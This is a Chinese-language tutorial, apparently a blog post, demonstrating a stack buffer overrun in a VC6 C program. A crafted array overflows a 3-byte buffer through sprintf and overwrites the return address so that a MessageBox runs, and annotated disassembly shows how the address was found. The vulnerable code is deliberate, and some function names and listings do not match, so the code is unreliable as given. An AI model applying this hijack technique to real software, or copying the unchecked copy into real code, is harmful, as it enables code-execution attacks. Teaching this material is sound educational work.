overrun 漏洞, 入侵例子. 自從windows update 的漏洞修復開始以來, buffer overrun 的問題占了很大的比例, 什麼是buffer overrun? 簡單的說就是原來定義的buffer size 是小的, 但使用卻是超過原來的定義? 但是就算如此, overrun 的漏洞跟程式取得控制權有何關係? 以下是一個簡單的例子取得控制權. buffer overrun test program. How to get the control from buffer underrun? #KEY: 如可以更改 return address 就可以取得控制權.
//C-program use VC6, 其他版本應也可以, 使用 windows program 中的MessageBox() 表示偷到執行權.
char myarr[]={'a','b','c', 11,11,11,11,11,0xf8,0x1a,0x44,0}; // 要將return address, 及要執行的程式機器碼放這裡. 因為 有0x0 就會停止copy, 要好好設計這個array
// Buffer overrun
void TESTOverrun() // 用來取得控制權的function
{
char aa[3]; // 設計用來overrun 的arr,
sprintf(aa, "%s", myarr); // 代罪function, 有漏洞的function
}
// myarr 要經過特別的設計, 將你的程式(機器)碼, 放入, 這邊只有設計取到 return 的位置, 執行的動作是用現成的function.
// 取到控制權後要執行的 function. 偷改掉return address 為 cc. 等於 TESTOverrun 執行完後會return 到cc 這個位址.
// goto cc; 方便使用disassembly 可以看到address, 將其填入 myarr[8] 起的4 個byte.
void JumpedFun()
{
char aa[3];
cc:; // add your code hacked here
MessageBox(NULL,"ABCD","ZYX",MB_OK); // 要先觀察這邊的 address 為何: 在我的環境下是 0x00441aF8,
aa[0]=1;
if (aa[0]==1) return;
goto cc; // use alt-8 under debug mode,
}
void Test_Entry()
{
TESTUnderrun();
dd:;
return; // 前面已被 sprintf 破壞, 回不來這裡了, 會當掉, 如果好好設計 jumpedFun(), 在goto cc 將必要的 ebp 還原, 再jump 到dd; 則可能可以還原到正常的程式流程, 但又偷做了Jumped Fun
}
# 執行結果: 程式中完全沒有call 到 MessageBox(), 但卻會執行 MessageBox show出一 對話框. 然後當掉.
原理: 設計一小 array, 宣告在 stack 區, 利用某些function 無法check destination 的 size , 讓copy 到array 的動作超過原array 大小, 延生到
存放 function return address 的區域(此例是 原function return address 是 main中的TESTOverrun() 的下一行), 將function return
修改動作:
----------------------
// with inline asm 說明
// vc 進入trace, 按下 alt-8, 可進入以下模式, 可以同時看 assembly 及 source code
void Test_Entry()
5619: {
00441B40 push ebp
00441B41 mov ebp,esp
00441B43 sub esp,60h
00441B46 push ebx
00441B47 push esi
00441B48 push edi
00441B49 push ecx
00441B4A lea edi,[ebp-60h]
00441B4D mov ecx,18h
00441B52 mov eax,0CCCCCCCCh
00441B57 rep stos dword ptr [edi]
00441B59 pop ecx
00441B5A mov dword ptr [ebp-4],ecx
5620: // JumpedFun();
5621: TESTUnderrun();
00441B5D call @ILT+1575(TESTUnderrun) (0040162c)
5622: cc:
5623: goto cc;
00441B62 jmp cc (00441b62) // --> 這是原本的return address, 放在run time stack 中.
5624: return;
}
5598: char myarr[]={'a','b','c', 11, 11, 11, 11, 11,0xf8,0x1a,0x44,0};
5599: // Buffer underrun
5600: void TESTUnderrun()
5601: {
00441A80 push ebp
00441A81 mov ebp,esp
00441A83 sub esp,44h
00441A86 push ebx
00441A87 push esi
00441A88 push edi
00441A89 lea edi,[ebp-44h]
00441A8C mov ecx,11h
00441A91 mov eax,0CCCCCCCCh
00441A96 rep stos dword ptr [edi]
5602: char aa[3];
5603: sprintf(aa, "%s", myarr); // 漏洞function
00441A98 mov esi,esp
00441A9A push offset myarr (0048b234)
00441A9F push offset string "%s" (004824ac)
00441AA4 lea eax,[ebp-4]
00441AA7 push eax
00441AA8 call dword ptr [__imp__sprintf (032e1534)]
00441AAE add esp,0Ch
00441AB1 cmp esi,esp
00441AB3 call _chkesp (004514a4)
5604: }
void JumpedFun()
5607: {
00441AE0 push ebp
00441AE1 mov ebp,esp
00441AE3 sub esp,44h
00441AE6 push ebx
00441AE7 push esi
00441AE8 push edi
00441AE9 lea edi,[ebp-44h]
00441AEC mov ecx,11h
00441AF1 mov eax,0CCCCCCCCh
00441AF6 rep stos dword ptr [edi]
5608: char aa[3];
5609: cc:;
5610: MessageBox(NULL,"ABCD","ZYX",MB_OK); // hack 到手後要做的事
00441AF8 mov esi,esp :; --> 要填到myarr 中的值 (對應到紫色的4個BYTES)
00441AFA push 0
00441AFC push offset string "ZYX" (00485764)
00441B01 push offset string "ABCD" (0048575c)
00441B06 push 0
00441B08 call dword ptr [__imp__MessageBoxA@16 (032e1724)]
00441B0E cmp esi,esp
00441B10 call _chkesp (004514a4)
5611: aa[0]=1;
00441B15 mov byte ptr [ebp-4],1
5612: // sprintf(aa, "%x", bb);
5613: if (aa[0]==1) return;
00441B19 movsx eax,byte ptr [ebp-4]
00441B1D cmp eax,1
00441B20 jne cc+2Ch (00441b24)
00441B22 jmp cc+2Eh (00441b26)
5614:
5615: goto cc;
00441B24 jmp cc (00441af8)
5616: }
相關文章: